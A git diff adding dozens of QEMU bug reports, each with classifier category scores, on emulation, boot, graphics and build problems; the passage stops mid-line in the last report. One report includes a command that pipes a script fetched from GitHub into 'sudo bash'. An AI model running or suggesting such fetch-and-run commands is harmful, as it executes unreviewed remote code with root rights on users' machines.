b/results/classifier/108/graphic/1954 new file mode 100644 index 000000000..d9a0da874 --- /dev/null +++ b/results/classifier/108/graphic/1954 @@ -0,0 +1,43 @@ +graphic: 0.982 +performance: 0.884 +PID: 0.874 +semantic: 0.873 +permissions: 0.851 +device: 0.825 +other: 0.798 +socket: 0.795 +vnc: 0.770 +files: 0.745 +network: 0.708 +debug: 0.701 +boot: 0.585 +KVM: 0.477 + +guest-fsfreeze can't work well on windows +Description of problem: +I used qemu 5.0 to cross-compile windows gqa on the fedroa30 system.And install it on guest with windows10,but i can't work well. +Steps to reproduce: +1. ./configure --cross-prefix=x86_64-w64-mingw32- --enable-guest-agent-msi --with-vss-sdk=/root/vssdk/VSSSDK72 + + my vssdk download from:[vssdk](https://www.microsoft.com/en-us/download/details.aspx?id=23490),i install it on my pc and copy to /root/vssdk/VSSSDK72 + +2. make qemu-ga -j4 + +3. and then install qemu-ga-x86_64.msi on windows10,it report the error: +  + +4.then I ./configure not with "--with-vss-sdk",the qemu-ga-x86_64.msi can install successfully. + +5.So, I install gga first. Then ./configure with "--with-vss-sdk" to make get the qemu-ga.exe + +6.replace qemu-ga.exe and reboot gga service,then execute the command "virsh domfsfreeze" on host,but it report error: + + error: Unable to freeze filesystems + error: internal error: unable to execute QEMU agent command 'guest-fsfreeze-freeze': failed to add \\?\Volume{d1ee1072-0000-0000-0000-100000000000}\ to snapshot set: + + +**I looked at the windows Event Viewer,it get the error:** + + Unexpected error querying for the IVssWriterCallback interface. hr = 0x80070005, Access is denied. + +I have referred to this [document](https://www.ryadel.com/en/volume-shadow-copy-service-error-unexpected-error-querying-for-the-ivsswritercallback-interface-how-to-fix-that/),but it not work. diff --git a/results/classifier/108/graphic/1962 b/results/classifier/108/graphic/1962 new file mode 100644 index 000000000..50bc842dd --- /dev/null +++ b/results/classifier/108/graphic/1962 @@ -0,0 +1,44 @@ +graphic: 0.932 +other: 0.842 +performance: 0.816 +files: 0.788 +device: 0.787 +boot: 0.772 +permissions: 0.770 +PID: 0.713 +socket: 0.544 +semantic: 0.485 +debug: 0.445 +network: 0.386 +vnc: 0.361 +KVM: 0.047 + +systemd-tmpfiles-setup-dev-early.service fails in emulated systemd-nspawn container +Description of problem: +When booting a fresh `debootstrap`ed Debian Trixie/testing rootfs with foreign architecture via `systemd-nspawn` and `qemu-user-static`, invoked via `systemd-binfmt`, the `systemd-tmpfiles-setup-dev-early.service` service within the guest fails, which leads to `/dev` not existing (respectively no default content), so that several other guest system components fail as well, like any console/shell access: +``` +Starting systemd-tmpfiles-setup-dev-early.service - Create Static Device Nodes in /dev gracefully... +systemd-tmpfiles-setup-dev-early.service: Failed to set up credentials: Invalid argument +systemd-tmpfiles-setup-dev-early.service: Main process exited, code=exited, status=243/CREDENTIALS +systemd-tmpfiles-setup-dev-early.service: Failed with result 'exit-code'. +[FAILED] Failed to start systemd-tmpfiles-setup-dev-early.service - Create Static Device Nodes in /dev gracefully. +See 'systemctl status systemd-tmpfiles-setup-dev-early.service' for details. +Starting systemd-tmpfiles-setup-dev.service - Create Static Device Nodes in /dev... +systemd-tmpfiles-setup-dev.service: Failed to set up credentials: Invalid argument +systemd-tmpfiles-setup-dev.service: Main process exited, code=exited, status=243/CREDENTIALS +systemd-tmpfiles-setup-dev.service: Failed with result 'exit-code'. +[FAILED] Failed to start systemd-tmpfiles-setup-dev.service - Create Static Device Nodes in /dev. +See 'systemctl status systemd-tmpfiles-setup-dev.service' for details. +``` +Steps to reproduce: +1. `apt install debootstrap systemd-container qemu-user-static` +2. `systemctl restart systemd-binfmt` +3. `mkdir rootfs` +4. `debootstrap --variant=minbase --include=systemd-sysv --arch=arm64 trixie ./rootfs 'https://deb.debian.org/debian'` +5. `systemd-nspawn -bD rootfs` +Additional information: +On Bookworm guest systems and/or without QEMU emulation, this works without issues, so I guess systemd recently started to use a certain syscall for the `ImportCredential=tmpfiles.*` method in systemd units, which is not supported by QEMU, probably similar to https://github.com/systemd/systemd/pull/28954? + +I hope it is fine to report it here. Always difficult to decide whether to report to the distribution (Debian) or one, and in case which, of the related projects, which do not work together. + +Debian Trixie currently ships `systemd 254.4-1` btw. I am not sure whether the issue was introduced with 253 or 254, since the linked issue prevented booting such containers on an earlier stage with 253, which was fixed in 254, which has the here reported issue. diff --git a/results/classifier/108/graphic/1990 b/results/classifier/108/graphic/1990 new file mode 100644 index 000000000..005df3add --- /dev/null +++ b/results/classifier/108/graphic/1990 @@ -0,0 +1,34 @@ +graphic: 0.964 +device: 0.893 +semantic: 0.699 +debug: 0.689 +PID: 0.628 +performance: 0.615 +permissions: 0.600 +files: 0.589 +boot: 0.588 +vnc: 0.476 +socket: 0.469 +network: 0.442 +other: 0.206 +KVM: 0.027 + +qemu ASSERT [ArmCpuDxe] DefaultExceptionHandler.c:333 on Mac M3 +Description of problem: +I am installing Podman 4.7.2 and `podman-machine` uses `qemu-system-aarch64` to boot up an embedded coreos image to run containers. +With the new Apple M3 hardware, I am experiencing a QEMU assertion failure almost all of the time. + + + +`ASSERT [ArmCpuDxe] /home/kraxel/projects/qemu/roms/edk2/ArmPkg/Library/DefaultExceptionHandlerLib/AArch64/DefaultExceptionHandler.c(333): ((BOOLEAN)(0==1))` + +I have been unable to get the full crash output - I didn't figure out how to resize the console any larger, and I tried a couple different ways to hook the console up to qemu stdout without any success. (since the kernel command line parameters are not passed in, but instead the image uses a bootloader) + +I believe this is the same issue I experience, but with a better capture of the crash: +https://github.com/lima-vm/lima/issues/1996 +Steps to reproduce: +1. Use Mac M3 (Max in my case) +2. Install Podman +3. Run `podman-machine init` +4. Run `podman-machine start --log-level=debug` +5. Crash (almost certainly) diff --git a/results/classifier/108/graphic/1997 b/results/classifier/108/graphic/1997 new file mode 100644 index 000000000..91ff47c6d --- /dev/null +++ b/results/classifier/108/graphic/1997 @@ -0,0 +1,35 @@ +graphic: 0.957 +device: 0.815 +semantic: 0.773 +other: 0.717 +debug: 0.681 +vnc: 0.678 +files: 0.670 +socket: 0.665 +performance: 0.658 +PID: 0.607 +boot: 0.583 +permissions: 0.568 +network: 0.461 +KVM: 0.144 + +Disk corruption on ARM64 (Apple Silicon) Linux VMs +Description of problem: +aarch64 Linux VMs will encounter disk corruption if they're set up with a filesystem that will notice it when it happens, e.g. BTRFS. This seems to be across the board with products, including Apple Hypervisor Framework, or just QEMU, so it very well might be an aarch64 Linux bug. +Steps to reproduce: +1. Install an aarch64 Linux VM using BTRFS as the root filesystem. ZFS might recognize silent corruption readily as well. +2. Run `stress-ng --iomix 4` +3. Check your `dmesg` and/or `btrfs check --force <device>` to check for filesystem corruption. +Additional information: +This is discussed in two other tickets, but I'm hoping to get more attention to the problem here. +[https://github.com/lima-vm/lima/issues/1957](https://github.com/lima-vm/lima/issues/1957) +[](https://github.com/utmapp/UTM/issues/4840) + + + + + +I can't seem to figure out how to upload images, but you can probably get to the image that I'm trying to share somehow... + + +``` diff --git a/results/classifier/108/graphic/2015 b/results/classifier/108/graphic/2015 new file mode 100644 index 000000000..c48cbfeea --- /dev/null +++ b/results/classifier/108/graphic/2015 @@ -0,0 +1,42 @@ +graphic: 0.932 +boot: 0.929 +device: 0.860 +vnc: 0.752 +files: 0.737 +performance: 0.675 +permissions: 0.619 +semantic: 0.616 +network: 0.548 +PID: 0.547 +socket: 0.489 +debug: 0.427 +other: 0.196 +KVM: 0.097 + +qemu-system-sparc fails to boot Solaris 8 in an emulated SS-5 +Description of problem: +Sun PROM fails to boot Solaris 8 in an emulated Sparcstation 5, with qemu exiting with a `trap 0x29` error. +Steps to reproduce: +1. Launch qemu with command line above +2. Sun PROM tries to boot from the network and shows `Tiemout waiting for ARP/RARP packet` messages +3. Interrupt network boot entering `sendkey stop-a` in qemu monitor (`compat_monitor0`) +4. Back in Sun PROM, boot from cdrom: `boot cdrom:d` +5. Solaris 8 starts booting +6. qemu exits with fatal error + +```plaintext +qemu: fatal: Trap 0x29 (Data Access Error) while interrupts disabled, Error state +pc: f0041298 npc: f004129c +%g0-7: 00000000 f02441a8 04400fc2 000001e2 00000027 f0243b88 00000000 f0244020 +%o0-7: ffff8000 00008000 00000f00 044000c1 f0258518 ffeec000 fbe3a4b8 f0041be4 +%l0-7: 04400fc1 f0041c78 f0041c7c 00000002 0000010f 00000002 0000002a fbe39f78 +%i0-7: ffff8000 00008000 00000f00 044000c2 00000000 ffeec000 fbe3a020 f0041be4 +%f00: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +%f08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +%f16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +%f24: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 +psr: 04000fc1 (icc: ---- SPE: SP-) wim: 00000002 +fsr: 00000000 y: 00000000 +``` +Additional information: + diff --git a/results/classifier/108/graphic/2025 b/results/classifier/108/graphic/2025 new file mode 100644 index 000000000..04aed9d0b --- /dev/null +++ b/results/classifier/108/graphic/2025 @@ -0,0 +1,41 @@ +graphic: 0.980 +device: 0.939 +performance: 0.682 +PID: 0.543 +semantic: 0.508 +vnc: 0.494 +debug: 0.428 +socket: 0.369 +files: 0.365 +permissions: 0.352 +boot: 0.265 +other: 0.244 +network: 0.061 +KVM: 0.018 + +Can't make the touchscreen work in Windows VM, device virtio-multitouch-pci not starting +Description of problem: +I tried the multitouch on qemu 8, by adding "-device virtio-multitouch-pci" to the qemu cmd line +I could make the multitouch work for an Ubuntu VM, but not for a Windows VM +Last version of Virtio drivers are installed in Windows. + +Here are the issues i can see in windows : + + +Windows Events of virtio input driver device : + +``` +Device PCI\VEN_1AF4&DEV_1052&SUBSYS_11001AF4&REV_01\3&2411e6fe&0&18 had a problem starting. +Driver Name: oem7.inf +Class Guid: {745a17a0-74d3-11d0-b6fe-00a0c90f57da} +Service: VirtioInput +Lower Filters: +Upper Filters: +Problem: 0xA +Problem Status: 0xC000009A +``` +Qemu didnt produce any logs regarding this PCI + +Do I miss something ? + +Thanks for your help diff --git a/results/classifier/108/graphic/2037 b/results/classifier/108/graphic/2037 new file mode 100644 index 000000000..2b926c5f7 --- /dev/null +++ b/results/classifier/108/graphic/2037 @@ -0,0 +1,30 @@ +graphic: 0.959 +device: 0.927 +KVM: 0.898 +semantic: 0.849 +boot: 0.800 +debug: 0.744 +PID: 0.721 +performance: 0.675 +vnc: 0.655 +network: 0.644 +permissions: 0.617 +other: 0.590 +files: 0.434 +socket: 0.340 + +CPUID.07H:EBX.intel-pt not supported warning info shown in terminal when start guest with -cpu qemu64,+intel-pt +Description of problem: +When launch guest with qemu-system-x86_64 with parameter -cpu host,+intel-pt, it will show warning info in terminal : +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.07H:EBX.intel-pt [bit 25] 'intel_pt' can not be found in guest's CPU flag. +While host already support intel_pt. +Steps to reproduce: +1. Run the above QEMU command. +Additional information: +This issue was observed with kernel 5.13 + +qemu-system-x86_64 -accel kvm -m 4096 -smp 4 -cpu host,+intel-pt,min-level=0x14 +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.07H:EBX.intel-pt [bit 25] +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.07H:EBX.intel-pt [bit 25] +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.07H:EBX.intel-pt [bit 25] +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.07H:EBX.intel-pt [bit 25] diff --git a/results/classifier/108/graphic/2038 b/results/classifier/108/graphic/2038 new file mode 100644 index 000000000..4a38759b4 --- /dev/null +++ b/results/classifier/108/graphic/2038 @@ -0,0 +1,31 @@ +graphic: 0.953 +device: 0.829 +PID: 0.825 +files: 0.641 +debug: 0.616 +vnc: 0.607 +semantic: 0.580 +performance: 0.553 +network: 0.506 +other: 0.439 +socket: 0.359 +permissions: 0.250 +boot: 0.239 +KVM: 0.223 + +simpletrace.py does nothing, and syntax error when called from bash script +Description of problem: +The simpletrace python script appears to do nothing when I run it as above. + +It appears to run (but do nothing) when called from my terminal but there is also a syntax error when I run it from the bash script above. + +``` +SyntaxError: invalid syntax + File "<fstring>", line 1 + (pid=) + ^ +``` + +I think this syntax error is caused by the line `print(f'{event.name} {delta_ns / 1000:0.3f} {pid=} ' + ' '.join(fields))` +Additional information: + diff --git a/results/classifier/108/graphic/2042 b/results/classifier/108/graphic/2042 new file mode 100644 index 000000000..51b62e8f2 --- /dev/null +++ b/results/classifier/108/graphic/2042 @@ -0,0 +1,33 @@ +graphic: 0.971 +device: 0.867 +semantic: 0.819 +performance: 0.753 +debug: 0.637 +boot: 0.632 +PID: 0.433 +socket: 0.396 +vnc: 0.324 +network: 0.257 +permissions: 0.254 +other: 0.162 +files: 0.154 +KVM: 0.016 + +Not able to reboot Linux guest on Windows host +Description of problem: +I am running Linux Mint on Windows, but when I try to reboot the machine, I get the following error: + +qemu: WHPX: Unexpected VP exit code 4 + +I did some experiments changing the flags I use when I launch Qemu and I realized that if I set -smp 1 it does not fail. Furthermore, if I set the irqchip to off (kernel-irqchip=off) it does not fail either, but both options do not have good performance at all. I realized too that if I set 4 cores (-smp 4), the error might appear up to 4 times. + +What seems to be failing then is the APIC emulation that Hyper-V provides. Does anyone know if: + +1. Am I missing a flag when launching Qemu? +2. Is it there a patch to solve this? + +Any leads for solving this problem would be highly appreciated. +Steps to reproduce: +1. Install MSYS +2. Open MSYS and run pacman -S mingw-w64-x86_64-qemu +3. Launch Qemu and reboot machine diff --git a/results/classifier/108/graphic/2050 b/results/classifier/108/graphic/2050 new file mode 100644 index 000000000..80a8f4210 --- /dev/null +++ b/results/classifier/108/graphic/2050 @@ -0,0 +1,22 @@ +graphic: 1.000 +boot: 0.978 +device: 0.893 +performance: 0.465 +files: 0.307 +semantic: 0.197 +vnc: 0.146 +other: 0.115 +permissions: 0.109 +socket: 0.093 +debug: 0.089 +PID: 0.080 +network: 0.015 +KVM: 0.001 + +Graphical glitch on boot screen of ubuntu aarch64 +Description of problem: +Glitches on boot screen. +Additional information: + + +(The "TIANO Core" screen before this has similar issues) diff --git a/results/classifier/108/graphic/2056 b/results/classifier/108/graphic/2056 new file mode 100644 index 000000000..22e09b9d9 --- /dev/null +++ b/results/classifier/108/graphic/2056 @@ -0,0 +1,29 @@ +graphic: 0.964 +device: 0.920 +vnc: 0.764 +PID: 0.758 +files: 0.655 +socket: 0.632 +other: 0.621 +performance: 0.604 +permissions: 0.544 +semantic: 0.518 +boot: 0.496 +network: 0.380 +debug: 0.298 +KVM: 0.179 + +macOS Cocoa title bar covers top of VM screen +Description of problem: +When using the Cocoa interface the title bar covers the top part of the VM screen. In Windows XP, using show-cursor=on and USB tablet (-usb -device usb-tablet,bus=usb-bus.0), the mouse cursor seems to be off by the height of the title bar; to click on a target the mouse cursor has to be below the target by about the height of the top bar. +Steps to reproduce: +1. Run Qemu using the Cocoa-interface (-display cocoa) +Additional information: +The problem exists in both Qemu 8.2.0 (compiled from source) as well as in the MacPorts version (version 8.0.5). Further testing shows the same problem in versions 6.2.0, 7.0.0, and 7.1.0. This problem did not exist in previous versions of macOS. + +A screenshot is enclosed: + + +For similar reports, see: https://www.emaculation.com/forum/viewtopic.php?p=77350#p77350 and https://github.com/phil-opp/blog_os/issues/1249#issuecomment-1825933581 and https://68kmla.org/bb/index.php?threads/a-self-contained-qemu-based-a-ux-system-for-macos.45106/post-504970 + +The problem exists on both Apple Silicon and Intel hardware. diff --git a/results/classifier/108/graphic/2057 b/results/classifier/108/graphic/2057 new file mode 100644 index 000000000..29502cb52 --- /dev/null +++ b/results/classifier/108/graphic/2057 @@ -0,0 +1,20 @@ +graphic: 0.926 +device: 0.845 +network: 0.581 +socket: 0.422 +debug: 0.354 +semantic: 0.324 +performance: 0.268 +vnc: 0.220 +files: 0.200 +permissions: 0.171 +PID: 0.164 +boot: 0.121 +other: 0.028 +KVM: 0.004 + +QEMU 8.2 configure error +Description of problem: +please see output upper +Steps to reproduce: +1. Just run ./configure diff --git a/results/classifier/108/graphic/2061 b/results/classifier/108/graphic/2061 new file mode 100644 index 000000000..d5178a567 --- /dev/null +++ b/results/classifier/108/graphic/2061 @@ -0,0 +1,28 @@ +graphic: 0.957 +boot: 0.946 +device: 0.934 +performance: 0.845 +debug: 0.801 +PID: 0.794 +semantic: 0.734 +socket: 0.718 +vnc: 0.680 +files: 0.571 +permissions: 0.486 +network: 0.467 +KVM: 0.358 +other: 0.276 + +Regression: QEMU 8.2.0 VFIO GPU guests cannot reboot due to improper reset +Description of problem: +Prior to QEMU 8.2.0 (i.e. 8.1.4), rebooting the guest with VFIO GPU passed through would result in a proper reboot. +After updating to QEMU 8.2.0, rebooting the guest results in a black screen due to improper reset behaviour. +I was able to narrow this down to commit #3d779ab. Compiling and running with commit #0bddd88 results in the correct behaviour. +That is, the GPU properly resets on guest reboot and boots successfully to Windows. +Steps to reproduce: +1. Update to QEMU 8.2.0 +2. Boot Windows 11 23H2 +3. Reboot +4. Notice a black screen +Additional information: + diff --git a/results/classifier/108/graphic/2075 b/results/classifier/108/graphic/2075 new file mode 100644 index 000000000..c8597fffc --- /dev/null +++ b/results/classifier/108/graphic/2075 @@ -0,0 +1,25 @@ +graphic: 0.954 +device: 0.871 +vnc: 0.824 +socket: 0.713 +PID: 0.694 +network: 0.661 +semantic: 0.647 +performance: 0.586 +permissions: 0.562 +boot: 0.506 +other: 0.504 +files: 0.446 +debug: 0.416 +KVM: 0.063 + +QGA guest-get-fsinfo can not return windows dynamic volumes +Description of problem: +Install qemu-ga (newest version) in Windows, create multiple dynamic volumes（containing multiple disks）, + + +get them information via guest-get-fsinfo, but guest-get-fsinfo does not return the the dynamic volume. +Steps to reproduce: +virsh qemu-agent-command {domain} --pretty '{ "execute": "guest-get-fsinfo" }' +Additional information: +Please see if this bug can be fixed by [qga-win: Fix guest-get-fsinfo multi-disks collection](https://patchew.org/QEMU/20231227071540.4035803-1-peng.ji@smartx.com/) diff --git a/results/classifier/108/graphic/2085 b/results/classifier/108/graphic/2085 new file mode 100644 index 000000000..eb3ab9ca9 --- /dev/null +++ b/results/classifier/108/graphic/2085 @@ -0,0 +1,37 @@ +graphic: 0.989 +network: 0.900 +performance: 0.856 +debug: 0.828 +boot: 0.809 +device: 0.805 +other: 0.780 +permissions: 0.736 +socket: 0.664 +semantic: 0.609 +PID: 0.594 +vnc: 0.560 +files: 0.470 +KVM: 0.246 + +screen doesn't update fully wth spice + virtio-vga graphics +Description of problem: +When using spice graphics with virtio-vga, display updates and missing and/or delayed making interaction unusable +Steps to reproduce: +Create a VM with spice graphics and virtio-vga with earlier mentioned command line + +Open ``remote-viewer spice://localhost:5900`` + +Boot the Fedora 39 server network installer CDROM ISO + +When Ananconda starts, select 'continue' at the first language choice screen + +Select 'Root Account' config option + +Toggle between "Disable root account" and "Enable root account" options + +Observe when the password entry box is shown/hidden, the screen does not redraw correctly +Additional information: +See also + +https://bugzilla.redhat.com/show_bug.cgi?id=2256884 +https://bbs.archlinux.org/viewtopic.php?id=291606 diff --git a/results/classifier/108/graphic/2090 b/results/classifier/108/graphic/2090 new file mode 100644 index 000000000..206b991d5 --- /dev/null +++ b/results/classifier/108/graphic/2090 @@ -0,0 +1,22 @@ +graphic: 0.943 +semantic: 0.837 +performance: 0.821 +device: 0.790 +vnc: 0.679 +files: 0.657 +boot: 0.639 +debug: 0.576 +permissions: 0.450 +socket: 0.438 +network: 0.426 +KVM: 0.367 +PID: 0.349 +other: 0.095 + +Long initialisation of VM before boot. +Description of problem: +When i start VM in "Virtual machine manager" I got black screen, which hang there approximately one minute. After this delay VM begin booted and all work properly. Some time ago VMs booted immediately without mentioned delay after starting of VM. I checked all relevant log files, changed 3 times kernel, rebuilded Qemu, but problem persist. I don't know when problem began. + + + +## diff --git a/results/classifier/108/graphic/2099 b/results/classifier/108/graphic/2099 new file mode 100644 index 000000000..d2088f8bb --- /dev/null +++ b/results/classifier/108/graphic/2099 @@ -0,0 +1,26 @@ +graphic: 0.971 +device: 0.799 +boot: 0.515 +semantic: 0.486 +performance: 0.462 +other: 0.418 +PID: 0.321 +debug: 0.314 +socket: 0.300 +vnc: 0.283 +network: 0.025 +permissions: 0.023 +files: 0.022 +KVM: 0.011 + +Setting for initial GTK window size? +Description of problem: + +Steps to reproduce: +1. When starting QEMU on Windows, the GTK window size appears to be sized to approx 640x480, which is very hard to see on a 4k+ monitor. So interacting with the boot, reading BIOS messages, etc, isn't great. +2. It would be great to be able to specify the dimensions of the GTK window, say 2560x1600, and then just set "Zoom to Fit". +3. This way, the visible window area remains constant, and all stages of graphical interaction get scaled to a workable size. +4. The OS can be configured to say 2560x1600 once setup. +5. Perhaps I've overlook settings to accomplish this? + +Thank you. diff --git a/results/classifier/108/graphic/2101 b/results/classifier/108/graphic/2101 new file mode 100644 index 000000000..3e509344a --- /dev/null +++ b/results/classifier/108/graphic/2101 @@ -0,0 +1,32 @@ +graphic: 0.957 +device: 0.812 +files: 0.752 +performance: 0.712 +semantic: 0.681 +PID: 0.653 +socket: 0.510 +network: 0.496 +debug: 0.400 +vnc: 0.383 +permissions: 0.330 +KVM: 0.235 +boot: 0.190 +other: 0.085 + +[qemu-user/qemu-x86_64] run x86_64 'ls /' on aarch64 platform get wrong result +Description of problem: +``` + qemu-x86_64 -L /tmp/ls-x86_64/root-x86_64-ls /tmp/ls-x86_64/root-x86_64-ls/bin/ls -l / + ``` +get wrong result +Steps to reproduce: +1. copy /usr/bin/ls and the so library files it depends on from x86_64 platform to aarch64 platform +2. qemu-x86_64 -L /path/to/x86_64/lib/root/dir /path/to/ls / -l +Additional information: +Actual test script: +``` +# host +curl -Ls https://github.com/tcler/kiss-vm-ns/raw/master/utils/archive-ld-program.sh | sudo bash /dev/stdin ls +scp ls.x86_64.ash root@jiyin-fedora-39_aarch64: +ssh root@jiyin-fedora-39_aarch64 ./ls.x86_64.ash -l / +``` diff --git a/results/classifier/108/graphic/2116 b/results/classifier/108/graphic/2116 new file mode 100644 index 000000000..0334a00fe --- /dev/null +++ b/results/classifier/108/graphic/2116 @@ -0,0 +1,43 @@ +graphic: 0.990 +performance: 0.875 +device: 0.861 +semantic: 0.836 +PID: 0.790 +boot: 0.726 +other: 0.704 +debug: 0.697 +permissions: 0.650 +socket: 0.648 +network: 0.593 +files: 0.558 +vnc: 0.555 +KVM: 0.130 + +[CRASH] OpenGL acceleration except gtk: bad interaction between NVIDIA usermode opengl libraries and QEMU seccomp -sandbox on,spawn=deny, crashes immediately on startup with Bad system call +Description of problem: +When running any of the above command lines, QEMU crashes with Bad system call (core dumped). Not exclusive to spice; it seems this is caused by QEMU forking during OpenGL initialization after seccomp takes effect. +Steps to reproduce: +1. Run the above commandline +2. Notice a Bad system call (core dumped) +Additional information: +This crash only happens if spawn=deny is set, resourcecontrol/obsolete/elevateprivileges don't cause crashes. + +The crash happens around the same time as an audit event is generated in dmesg: `audit: type=1326 audit(1705775880.776:14): auid=MYUSERID uid=MYUID gid=MYGID ses=REDACTED pid=REDACTED comm="qemu-system-x86" exe="/usr/bin/qemu-system-x86_64" sig=31 arch=c000003e syscall=56 compat=0 ip=REDACTED code=REDACTED` + +`ausyscall c000003e 56` tells me it's `clone` which (iirc) is the syscall used by glibc to implement fork() (I might be wrong about glibc part) + +Suggested solution: move seccomp activation until just before guest code starts executing? make frontends (ie -display gtk/sdl/whatever, including -spice) initialize before seccomp? + +Workaround: `chmod -x /bin/nvidia-modprobe` if not using the NVIDIA gpu or use this wrapper script (untested, not enterprise-ready, I am not responsible if unexpected things happen): +- rename /bin/qemu-system-x86_64 to qemu-system-x86_64.real +- put this in /bin/qemu-system-x86_64 and chmod +x it +```sh +#!/usr/bin/env sh +chmod -x /bin/nvidia-modprobe +qemu-system-x86_64.real $@ & disown +sleep 10 # excessive but maybe safer? +chmod +x /bin/nvidia-modprobe +``` +Also, you can use -display gtk,gl=on instead, or (unknown security implications) remove spawn=deny from -sandbox args + +original bug report was https://gitlab.com/libvirt/libvirt/-/issues/585 but I realized this was more of a qemu issue than a libvirt one diff --git a/results/classifier/108/graphic/2136 b/results/classifier/108/graphic/2136 new file mode 100644 index 000000000..72eb37437 --- /dev/null +++ b/results/classifier/108/graphic/2136 @@ -0,0 +1,50 @@ +graphic: 0.926 +device: 0.926 +performance: 0.838 +semantic: 0.809 +PID: 0.790 +network: 0.758 +vnc: 0.757 +files: 0.660 +socket: 0.645 +debug: 0.636 +permissions: 0.617 +boot: 0.608 +other: 0.387 +KVM: 0.352 + +on loongarch host, LSX vec get wrong result +Description of problem: +on loongarch host, the lsx insns get wrong result. +Steps to reproduce: +1. build linux-user on loongarch host with '--configure --target-list ='loongarch64-linux-user'' +2. build test code 'gcc --static test.c -o test' +3. run './build/qemu-loongarch64 test' +Additional information: +run 'qemu-loongarch64 test' +the result is + +`0: 2f2f2f2f +1: 0 +2: 2f2f2f2f +3: 0 +4: ffffffff +5: 0 +6: ffffffff +7: ffffffff` + +and the 6 or 7 may be ffffff or 0. + +run 'test' on loongarch host or run qemu-loongarch64 on x86_64 host. +the result is + +`0: 2f2f2f2f +1: 0 +2: 2f2f2f2f +3: 0 +4: 0 +5: 0 +6: 0 +7: 0` + +for more infomation see log.txt diff --git a/results/classifier/108/graphic/2138 b/results/classifier/108/graphic/2138 new file mode 100644 index 000000000..65a885da7 --- /dev/null +++ b/results/classifier/108/graphic/2138 @@ -0,0 +1,37 @@ +graphic: 0.994 +device: 0.961 +PID: 0.872 +files: 0.840 +vnc: 0.826 +debug: 0.802 +semantic: 0.795 +permissions: 0.701 +boot: 0.699 +performance: 0.652 +socket: 0.547 +other: 0.538 +network: 0.524 +KVM: 0.114 + +Build failure on macOS when using --disable-cocoa +Description of problem: +Build fails: + +``` +../qemu-8.2.1/meson.build:3741:13: ERROR: No host machine compiler for 'audio/coreaudio.m' +``` +Steps to reproduce: +1. On macOS run `./configure --disable-cocoa` + +Result: + +``` +Compiler for language objc skipped: feature cocoa disabled +``` +``` +../meson.build:3741:13: ERROR: No host machine compiler for 'audio/coreaudio.m' +``` +Additional information: +It seems your build script contains the assumption that an Objective-C compiler is not needed when the Cocoa UI is disabled, but it still appears to be needed to compile the CoreAudio code regardless of UI. + +This was originally reported to MacPorts here: https://trac.macports.org/ticket/67984 diff --git a/results/classifier/108/graphic/2139 b/results/classifier/108/graphic/2139 new file mode 100644 index 000000000..5f83c7a2e --- /dev/null +++ b/results/classifier/108/graphic/2139 @@ -0,0 +1,24 @@ +graphic: 0.951 +device: 0.944 +boot: 0.944 +other: 0.859 +PID: 0.720 +debug: 0.718 +performance: 0.682 +files: 0.655 +socket: 0.645 +semantic: 0.595 +permissions: 0.542 +network: 0.453 +vnc: 0.447 +KVM: 0.040 + +Super/Win key seems to release immediately on sdl+windows +Description of problem: +Currently on windows when trying SerenityOS the super key releases immediately so you can't use the shortcuts, with the GTK gui (gl off) it works though. but GTK has other problems with mouse which sometimes doesn't work at all, SDL seems to work well besides from this one issue. +Steps to reproduce: +1. Boot with default settings on wsl2 which launches qemu on windows if it's installed +2. Try to use any of the superkey shortcuts like superkey+space for a search popup https://github.com/SerenityOS/serenity/blob/dc47d01fdc62a1ee319310e2b11c26b8ebe8899d/Base/usr/share/man/man7/KeyboardShortcuts.md#L4 +3. Fail because it immediately opens the menu blocking the shortcuts. +Additional information: + diff --git a/results/classifier/108/graphic/2147 b/results/classifier/108/graphic/2147 new file mode 100644 index 000000000..2ce2f83a6 --- /dev/null +++ b/results/classifier/108/graphic/2147 @@ -0,0 +1,24 @@ +graphic: 0.939 +device: 0.873 +semantic: 0.814 +debug: 0.767 +performance: 0.677 +vnc: 0.652 +PID: 0.615 +network: 0.594 +boot: 0.518 +socket: 0.507 +other: 0.363 +files: 0.158 +permissions: 0.143 +KVM: 0.022 + +The Windows version of QEMU runs the semihost project without printing +Description of problem: +In Linux, running this command to execute the Semihost project will print `Hello World` in the console, but running in Windows will not print anything. + +I'd like to know if it's the windows version of qemu that doesn't have perfect support for semihost, or if I need to adjust the input parameters. +Steps to reproduce: + +Additional information: + diff --git a/results/classifier/108/graphic/2150 b/results/classifier/108/graphic/2150 new file mode 100644 index 000000000..95c0fe0e1 --- /dev/null +++ b/results/classifier/108/graphic/2150 @@ -0,0 +1,28 @@ +graphic: 0.936 +device: 0.924 +boot: 0.912 +performance: 0.810 +files: 0.655 +debug: 0.602 +network: 0.585 +PID: 0.578 +socket: 0.568 +semantic: 0.473 +vnc: 0.445 +other: 0.223 +permissions: 0.170 +KVM: 0.158 + +ERROR:tcg/optimize.c:580:do_constant_folding_2: code should not be reached +Description of problem: +After booting Windows 10 or 11 (ARM) QEMU suddenly quits with: + +ERROR:tcg/optimize.c:580:do_constant_folding_2: code should not be reached + +It seems like it is missing an OPCODE in that function? +Steps to reproduce: +1. Boot Windows +2. QEMU quits +3. +Additional information: + diff --git a/results/classifier/108/graphic/2151 b/results/classifier/108/graphic/2151 new file mode 100644 index 000000000..a070b47fc --- /dev/null +++ b/results/classifier/108/graphic/2151 @@ -0,0 +1,210 @@ +semantic: 0.974 +graphic: 0.973 +permissions: 0.973 +performance: 0.967 +debug: 0.959 +device: 0.956 +other: 0.952 +PID: 0.938 +network: 0.931 +socket: 0.929 +vnc: 0.918 +files: 0.909 +boot: 0.903 +KVM: 0.830 + +Nested vIOMMU PCI Passthrough kernel panics +Description of problem: +In an effort to test vIOMMU according to <https://wiki.qemu.org/Features/VT-d> I've run into a kernel panic on an L2 guest receiving the L1 hypervisor's PCI passed virtual macvtap hostdev. Upon an `ifup` inside the L2 guest, on the network device passed through from the L1 host, the following kernel panic occurs and the L2 guest reboots: + +``` +[ OK ] Started ifup@enp0s2.service - ifup for enp0s2. +[ OK ] Started ifup@enp0s3.service - ifup for enp0s3.[ 24.019839] audit: type=1400 audit(1707113302.472:9): 